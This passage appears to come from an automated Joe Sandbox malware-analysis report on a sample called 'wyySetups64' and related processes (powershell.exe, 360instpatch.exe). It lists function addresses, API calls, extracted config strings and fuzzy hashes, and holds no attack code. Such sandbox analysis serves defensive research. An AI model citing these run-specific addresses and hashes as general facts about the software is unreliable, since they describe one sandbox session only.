Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 9d13b0dc1e7cc3b4a828052403ade02a95932ad8b58c16c5deaaa246e36644c3
Instruction ID: f2fb9b3b707d4f30f36c186daf7fb3c1e152dbd603c64c0a5e36ed95971d71d8
Opcode Fuzzy Hash: 9d13b0dc1e7cc3b4a828052403ade02a95932ad8b58c16c5deaaa246e36644c3
Instruction Fuzzy Hash: B601C47290422D9FDF009FA4EC01BEEBBF5FB04364F004195F928A6281DB749501DBB5

Function 03379570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0337957F

Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EF9B
Part of subcall function 0337EF86: __CxxThrowException@8.LIBCMT ref: 0337EFB0
Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EFC1

_memmove.LIBCMT ref: 033795B5

Strings

invalid string position, xrefs: 0337957A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: c4b00e17044f4d461634787a1e7d96ea25c0ab8abfc012d74a54187d9733b6ab
Instruction ID: ac7de1190fdd06ee197b5d3c2e4da807d11d7536ee9a273aae403b111f5674e6
Opcode Fuzzy Hash: c4b00e17044f4d461634787a1e7d96ea25c0ab8abfc012d74a54187d9733b6ab
Instruction Fuzzy Hash: BE018F357107218FE735CA2CECD471AB7AAABC55A07280B68D081CBB49D7B9DC424794

Function 0337D1C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0337D1D4

Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF4E
Part of subcall function 0337EF39: __CxxThrowException@8.LIBCMT ref: 0337EF63
Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF74

_memmove.LIBCMT ref: 0337D20D

Strings

vector<T> too long, xrefs: 0337D1CF

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 5e08fb12126b45a7a5d89626b0289a3c9ed07cc8e99753a4e7f08ba83f742afb
Instruction ID: 6290e06831e5d6a3b2caaf3b52127a4f641c694e54a680ba1c3a534f987df871
Opcode Fuzzy Hash: 5e08fb12126b45a7a5d89626b0289a3c9ed07cc8e99753a4e7f08ba83f742afb
Instruction Fuzzy Hash: 3F01D876E006119FC710EE6DECC1C2E779CEA403D0F49032AEC12D7618E774E8158790

Function 03378430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 03378443

Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF4E
Part of subcall function 0337EF39: __CxxThrowException@8.LIBCMT ref: 0337EF63
Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF74

_memmove.LIBCMT ref: 0337846E

Strings

vector<T> too long, xrefs: 0337843E

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 1e3d4425556e70a9284522aa55ace569c0c223cf720445ab0b7829365e36a9fb
Instruction ID: b101c2e359eaf9f45bbcd0634a6a9dca8ef4a7c3104ac82b750a6021231d8bfb
Opcode Fuzzy Hash: 1e3d4425556e70a9284522aa55ace569c0c223cf720445ab0b7829365e36a9fb
Instruction Fuzzy Hash: 5801A2B1A003059FDB34DEA8DCD692BB3D8EF542103184A2DE45ACB740E678F841C761

Function 00B33414 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B3343E
__CallSettingFrame@12.LIBCMT ref: 00B3348A

Strings

j, xrefs: 00B33414

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction ID: 22fa1a9c4ef952915901115b9df0d178554ddd66841ae8587c38225de05b3b4b
Opcode Fuzzy Hash: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction Fuzzy Hash: 19118B71800264EBCB12DF58C4853ADBBF0FF01B24F2481C9E4992B683C3746E92DB91

Function 00BE37C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BE32AE: __getptd.LIBCMT ref: 00BE32B4
Part of subcall function 00BE32AE: __getptd.LIBCMT ref: 00BE32C4

__getptd.LIBCMT ref: 00BE37D8

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

__getptd.LIBCMT ref: 00BE37E6

Strings

csm, xrefs: 00BE37F4

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: 990f0869ed05cccf66858672050a1cc4b8bd38e02ffa315c718fb20344900b77
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: 1D016D368012858BCF349F27C4586ACB3F5EF60B12F5445AEF49057761CB34AB81CB11

Function 033906D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0339010A: __getptd.LIBCMT ref: 03390110
Part of subcall function 0339010A: __getptd.LIBCMT ref: 03390120

__getptd.LIBCMT ref: 033906E3

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

__getptd.LIBCMT ref: 033906F1

Strings

csm, xrefs: 033906FF

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: 1ae5ea426948afbf23a40f8be825a07eda7adc536c4536595022c52af38eca2c
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: 87012839801305CEEF39EF66CCC46ADB7FAAF04221F58486FE0999A260DB309581CE41

Function 03210093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032100A2

Part of subcall function 0320381A: __getptd_noexit.LIBCMT ref: 0320381D
Part of subcall function 0320381A: __amsg_exit.LIBCMT ref: 0320382A

__getptd.LIBCMT ref: 032100B0

Strings

csm, xrefs: 032100BE

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: 16305e55ab82e18a4ac771d370ee930814512271c2e06b862b64aabdc2e6e692
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: 1501D6388203039ECF74DF24D640A6DB7F8AF20611F28C45ED4C1BA191CB7895E5CB40

Function 00B337A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B337AF

Part of subcall function 00B298E6: __getptd_noexit.LIBCMT ref: 00B298E9
Part of subcall function 00B298E6: __amsg_exit.LIBCMT ref: 00B298F6

__getptd.LIBCMT ref: 00B337BD

Strings

csm, xrefs: 00B337CB

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: 214d0e5c49c5586d055bd7373a1c8c18a543428d965d5221a22133785fc9077a
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: 20014B74C01205CACF349F21D444AAEB3F5EF14B11F7488ADF4445A252DB319B81DB51

Analysis Process: powershell.exePID: 2008, Parent PID: 1136COMMON

Executed Functions

Function 035429F0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773865788.0000000003540000.00000040.00000800.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2929c5d23fa93998b819d1c85437157b6631c24bf8f6e5cb8e2541610d9b653
Instruction ID: d2f82058989c48e1970dabb7c8c775c19719f6fb23440afb6e3acb6d83ef6b1c
Opcode Fuzzy Hash: a2929c5d23fa93998b819d1c85437157b6631c24bf8f6e5cb8e2541610d9b653
Instruction Fuzzy Hash: D9919C74A002159FCB19CF9DC4949AEFBB1FF88314F288599E815AB365C735EC91CBA0

Function 03542B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773865788.0000000003540000.00000040.00000800.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84def035c1604146a37ff09512a8ff06416126bf1bf7659c04519cd3da0c7e18
Instruction ID: 80ebc4e5664316015a1a155a734caaee83117fde0e911a27a8b57ed2e5b431f1
Opcode Fuzzy Hash: 84def035c1604146a37ff09512a8ff06416126bf1bf7659c04519cd3da0c7e18
Instruction Fuzzy Hash: 0A415BB4A005159FCB0ACF48C4989AEFBB1FF48314F158599D855AB364C736FC91CBA0

Function 03542C95 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773865788.0000000003540000.00000040.00000800.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7f3614999e06b04d736a512c3eed864e2f288015e81412bb5ff2c2606910ee
Instruction ID: f14ba91bf36d031e2425c298037a361422773fa6b492ed17c56fa7d2a4b1d2b9
Opcode Fuzzy Hash: 9e7f3614999e06b04d736a512c3eed864e2f288015e81412bb5ff2c2606910ee
Instruction Fuzzy Hash: E93104706086519FCB0BCF68D4A89E9FB71FF05324F0985CAD4519B2A2C726EC46CBA1

Function 0339D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773487462.000000000339D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0339D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_339d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0408e8cda36cfbce4fc8c2e70f351151a05a1c325428f921bb8f189f2084655
Instruction ID: 4d8fcfc6ae7b5e9845838a977f176a492c5ae4b1ba4b42e528d5c8ba75da2690
Opcode Fuzzy Hash: a0408e8cda36cfbce4fc8c2e70f351151a05a1c325428f921bb8f189f2084655
Instruction Fuzzy Hash: 7301DF71008344DAFB209A29CCC5B66FF9CEF51325F0DC55AEC090B782C67D9841C6B1

Function 0339D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773487462.000000000339D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0339D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_339d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51e641265993e3faabd22d596dfee88be2d6d7b35910034f6ae5d8aba853574
Instruction ID: d65db601472b7ad002f83185a4820cb4497135426778f5352d21c4e210d0bbd3
Opcode Fuzzy Hash: c51e641265993e3faabd22d596dfee88be2d6d7b35910034f6ae5d8aba853574
Instruction Fuzzy Hash: F001ED6240E3C09EE7128B258C95B52BFB4DF57224F1D81DBD9888F2A7C2695845C772

Function 03542C5C Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1773865788.0000000003540000.00000040.00000800.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44309d3c986ccd65e804ddcb2d4b6be4a9af8ab6c8625774db97201bb3c14b77
Instruction ID: 3e11699e126e5460352010385cbd91f7b8c62e000c99b60d777e31c1474799ac
Opcode Fuzzy Hash: 44309d3c986ccd65e804ddcb2d4b6be4a9af8ab6c8625774db97201bb3c14b77
Instruction Fuzzy Hash: 9B01B531909290AFCB07CBACD8609E9BFB0EF4A224F1985C6D0549B2A2C2369855CB65

Analysis Process: powershell.exePID: 3928, Parent PID: 6036COMMON

Executed Functions

Function 02E2D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1765090799.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2e2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad33894782bb9ff20a5dc2b1dfebab09788ffd92d5a23930defe2b1df890d54
Instruction ID: e542b9af3faed3a7e356bb618e35e92a51d0a6a4699be707d23c4a75b6053088
Opcode Fuzzy Hash: 8ad33894782bb9ff20a5dc2b1dfebab09788ffd92d5a23930defe2b1df890d54
Instruction Fuzzy Hash: C5015E6204E3C09EE7128B258D94B52BFB4DF57228F1DC1DBD9898F1A3C2695849C772

Function 02E2D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1765090799.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2e2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1367860eaf6bc3dbb39115be7ab2d8967e87c2c036bb3776a8fed373c40175e
Instruction ID: 5542b0faf8403947cc40f7becf5e6a98b38e7cc6ca8fefcf9f737dbd817adb37
Opcode Fuzzy Hash: d1367860eaf6bc3dbb39115be7ab2d8967e87c2c036bb3776a8fed373c40175e
Instruction Fuzzy Hash: 400126710483549AE7208A29CDC4F67FFD8DF51339F08C41AEE4A4B292C7B89849C7B1

Analysis Process: 360instpatch.exePID: 4460, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	140

Executed Functions

Function 6BF0FE46 Relevance: 65.2, APIs: 20, Strings: 17, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6BEFAF8A: GetFileAttributesW.KERNEL32(000000FF,6BF0FE4F,?,00000001,00000000,00000000,00000000,000000FF,00000001,6BFCC288,00000000), ref: 6BEFAF8E

_memset.LIBCMT ref: 6BF0FED6
_wcslen.LIBCMT ref: 6BF0FF03
_memset.LIBCMT ref: 6BF0FF38
inet_addr.WS2_32(00000000), ref: 6BF0FF76
inet_addr.WS2_32(00000000), ref: 6BF0FFAC
GetPrivateProfileIntW.KERNEL32(EntClient,TRPort,00000050,?), ref: 6BF0FFDB
GetPrivateProfileIntW.KERNEL32(EntClient,EntNat,000000FF,?), ref: 6BF0FFF7
_memset.LIBCMT ref: 6BF10014
_wcslen.LIBCMT ref: 6BF1003D
_memset.LIBCMT ref: 6BF10076
inet_addr.WS2_32(00000000), ref: 6BF100B4
inet_addr.WS2_32(00000000), ref: 6BF100EA
_memset.LIBCMT ref: 6BF10115
_wcslen.LIBCMT ref: 6BF10142
_memset.LIBCMT ref: 6BF10165

Part of subcall function 6BF23CE4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,0000083F,?,00000000,?,6BF23E87,?,?,0000083F), ref: 6BF23CFD

inet_addr.WS2_32(00000000), ref: 6BF101A3
inet_addr.WS2_32(00000000), ref: 6BF101D9
_wcslen.LIBCMT ref: 6BF1020C
__wcslwr.LIBCMT ref: 6BF10227
wsprintfW.USER32 ref: 6BF102E0

Part of subcall function 6BF04C30: __EH_prolog3.LIBCMT ref: 6BF04C37

Strings

PolicyControl%d, xrefs: 6BF102DA
\livep.dat, xrefs: 6BF10250, 6BF10255, 6BF1027E
\360EntClient_download.ini, xrefs: 6BF0FE63
SINGLESIZE, xrefs: 6BF1032D
P2PHAVESIZE, xrefs: 6BF10317
STServer, xrefs: 6BF10028
PdownList, xrefs: 6BF101F9
EntClient, xrefs: 6BF0FEEF, 6BF0FFD5, 6BF0FFDA, 6BF0FFF6, 6BF1002D, 6BF1012E, 6BF101FE
SDServer, xrefs: 6BF10129
EntNat, xrefs: 6BF0FFF1
[CTaskMgr::__update_config] PdownList:%s, xrefs: 6BF10217
TRServer, xrefs: 6BF0FEEA
", xrefs: 6BF102FE
[CTaskMgr::__update_config] TRServer:%s, xrefs: 6BF0FF18
FIVESIZE, xrefs: 6BF10343
[CTaskMgr::__update_config] STServer:%s, xrefs: 6BF10052
TRPort, xrefs: 6BF0FFD0

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memsetinet_addr$_wcslen$PrivateProfile$AttributesByteCharFileH_prolog3MultiWide__wcslwrwsprintf
String ID: "$EntClient$EntNat$FIVESIZE$P2PHAVESIZE$PdownList$PolicyControl%d$SDServer$SINGLESIZE$STServer$TRPort$TRServer$[CTaskMgr::__update_config] PdownList:%s$[CTaskMgr::__update_config] STServer:%s$[CTaskMgr::__update_config] TRServer:%s$\360EntClient_download.ini$\livep.dat
API String ID: 1263679763-4273410730
Opcode ID: 8bb4d192d8c301a36884dcb9b270d9320bbf21e4eaf70434efd4993b0ad08e53
Instruction ID: cce873792bd0efa49f1aed7b7fde472959aed5d4b881844fb0e829c9cf6f032d
Opcode Fuzzy Hash: 8bb4d192d8c301a36884dcb9b270d9320bbf21e4eaf70434efd4993b0ad08e53
Instruction Fuzzy Hash: 51F1F17380424AABDB21DFB4CC55FEE37A8EF05314F100529F918EB1A1EB7DA65587A0

Function 6BF0F494 Relevance: 51.2, APIs: 16, Strings: 13, Instructions: 498
registrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6BF0F4B3
GetTickCount.KERNEL32 ref: 6BF0F4BA
WaitForSingleObject.KERNEL32(00000000,00000000,?,?,?,?,?), ref: 6BF0F573
CloseHandle.KERNEL32(00000000), ref: 6BF0F588

Part of subcall function 6BF2D2AB: __EH_prolog3.LIBCMT ref: 6BF2D2B2
Part of subcall function 6BF2D2AB: std::runtime_error::runtime_error.LIBCPMT ref: 6BF2D2DB
Part of subcall function 6BF2D2AB: __CxxThrowException@8.LIBCMT ref: 6BF2D2F0

_memset.LIBCMT ref: 6BF0F730
RegQueryValueExW.ADVAPI32(00000000,LastUploadDate,00000000,?,00000000,?,?,?,?), ref: 6BF0F79E
RegQueryValueExW.ADVAPI32(?,LastUploadTime,00000000,?,00000000,?), ref: 6BF0F7CC
RegQueryValueExW.ADVAPI32(?,LastUploadTraffic,00000000,?,00000000,?), ref: 6BF0F7FA
RegQueryValueExW.ADVAPI32(?,LastDownTraffic,00000000,?,00000000,?), ref: 6BF0F828
RegQueryValueExW.ADVAPI32(?,CurUploadTime,00000000,?,00000000,?), ref: 6BF0F856
RegQueryValueExW.ADVAPI32(?,CurUploadTraffic,00000000,?,00000000,?), ref: 6BF0F884
RegQueryValueExW.ADVAPI32(?,CurDownTraffic,00000000,?,00000000,?), ref: 6BF0F8B2
RegCloseKey.ADVAPI32(?), ref: 6BF0F8C3
__time64.LIBCMT ref: 6BF0FA31
__time64.LIBCMT ref: 6BF0F653

Part of subcall function 6BF3AE62: GetSystemTimeAsFileTime.KERNEL32(6BFCC3F0,?,?,?,6BF0EABC,00000000,?,6BFCC3F0,6BFCC288), ref: 6BF3AE6D
Part of subcall function 6BF3AE62: __aulldiv.LIBCMT ref: 6BF3AE8D

__time64.LIBCMT ref: 6BF0FA88

Strings

reg NonUrgentMode:%d, xrefs: 6BF0F633
CurUploadTraffic, xrefs: 6BF0F876
NonUrgentMode, xrefs: 6BF0F61E, 6BF0F671
LastUploadTime, xrefs: 6BF0F7BE
LastUploadDate, xrefs: 6BF0F792
CurUploadTime, xrefs: 6BF0F848
MaxUpUpdate, xrefs: 6BF0FA37
MaxUpSpeed, xrefs: 6BF0FA22
CurDownTraffic, xrefs: 6BF0F8A4
LastUploadTraffic, xrefs: 6BF0F7EC
reg NonUrgentMode:%d timeout, xrefs: 6BF0F684
LastDownTraffic, xrefs: 6BF0F81A
MaxDnSpeed, xrefs: 6BF0F9B9

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: QueryValue$__time64$CloseH_prolog3Time$CountException@8FileHandleObjectSingleSystemThrowTickWait__aulldiv_memsetstd::runtime_error::runtime_error
String ID: CurDownTraffic$CurUploadTime$CurUploadTraffic$LastDownTraffic$LastUploadDate$LastUploadTime$LastUploadTraffic$MaxDnSpeed$MaxUpSpeed$MaxUpUpdate$NonUrgentMode$reg NonUrgentMode:%d$reg NonUrgentMode:%d timeout
API String ID: 4167386882-1126348924
Opcode ID: 0d1b58e22d42c7f7d36a7813d42600fec161e0a585095352ee593f05628bb5f5
Instruction ID: b65351afd0fae905322359a5c42e4bad3aa250b98a4d86d1a4eef8b3a8f7d906
Opcode Fuzzy Hash: 0d1b58e22d42c7f7d36a7813d42600fec161e0a585095352ee593f05628bb5f5
Instruction Fuzzy Hash: D8126D72D0020A9FDB54CFA4C9A1AEEB7F9FF45304F10452AE511E7270EB38A949DB64

Function 6BF3A6BA Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcspbrk.LIBCMT ref: 6BF3A712

Part of subcall function 6BF3DC9F: __getptd_noexit.LIBCMT ref: 6BF3DC9F

Part of subcall function 6BF3DC8C: __getptd_noexit.LIBCMT ref: 6BF3DC8C

Part of subcall function 6BF38356: __decode_pointer.LIBCMT ref: 6BF38361

Strings

./\, xrefs: 6BF3A77F

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: __getptd_noexit$__decode_pointer_wcspbrk
String ID: ./\
API String ID: 2357261805-3176372042
Opcode ID: 88aaf532330191210f0140fc9a7030479d349ff39c575dff9ff329e563e63cdd
Instruction ID: b3918ca0e73b74166d0c01065a82c81c9342231f069debf9840ee903ef2d184c
Opcode Fuzzy Hash: 88aaf532330191210f0140fc9a7030479d349ff39c575dff9ff329e563e63cdd
Instruction Fuzzy Hash: 28C134F3804539DADF209F65CC44A9DB7F8BF09714F0041EAE658D2561E7399A80CFA9

Function 6BEEB3F0 Relevance: 23.2, APIs: 7, Strings: 6, Instructions: 487networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BEEB450
_memset.LIBCMT ref: 6BEEB60F
gethostbyname.WS2_32(?), ref: 6BEEB682
inet_addr.WS2_32(?), ref: 6BEEB726
gethostbyname.WS2_32(?), ref: 6BEEB75B
